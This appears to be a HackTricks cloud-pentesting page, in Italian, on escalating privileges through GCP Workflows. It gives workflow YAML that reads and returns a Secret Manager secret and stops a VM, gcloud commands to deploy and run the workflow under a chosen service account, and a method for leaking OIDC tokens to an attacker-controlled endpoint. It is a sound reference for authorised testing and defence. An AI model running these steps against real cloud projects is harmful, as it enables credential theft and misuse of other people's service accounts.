GCP - Workflows Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Workflows

Informazioni di base:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Per quanto ne so, non è possibile ottenere una shell con accesso all'endpoint dei metadati contenente le credenziali del SA attaccato a un Workflow. Tuttavia, è possibile abusare dei permessi del SA aggiungendo le azioni da eseguire all'interno del Workflow.

È possibile trovare la documentazione dei connettori. Ad esempio, questa è la pagina del connettore Secretmanager. Nella barra laterale è possibile trovare diversi altri connettori.

E qui puoi trovare un esempio di un connettore che stampa un segreto:

main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: '${str_secret}'

Aggiornamento dalla CLI:

gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1

Se non hai accesso web, è possibile attivare e vedere l'esecuzione di un Workflow con:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Puoi anche controllare l'output delle esecuzioni precedenti per cercare informazioni sensibili

Nota che anche se ricevi un errore come PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... perché non hai quel permesso, il workflow è stato generato.

Leak del token OIDC (e OAuth?)

Secondo la documentazione è possibile utilizzare passaggi del workflow che invieranno una richiesta HTTP con il token OAuth o OIDC. Tuttavia, proprio come nel caso di Cloud Scheduler, la richiesta HTTP con il token Oauth deve essere destinata all'host .googleapis.com.

Pertanto, è possibile leakare il token OIDC indicando un endpoint HTTP controllato dall'utente, ma per leakare il token OAuth avresti bisogno di un bypass per quella protezione. Tuttavia, sei ancora in grado di contattare qualsiasi API GCP per eseguire azioni per conto del SA utilizzando sia connettori che richieste HTTP con il token OAuth.

Oauth

- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE

OIDC

- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE

workflows.workflows.update ...

Con questo permesso, invece di workflows.workflows.create, è possibile aggiornare un workflow già esistente e eseguire gli stessi attacchi.

Impara e pratica Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Last updated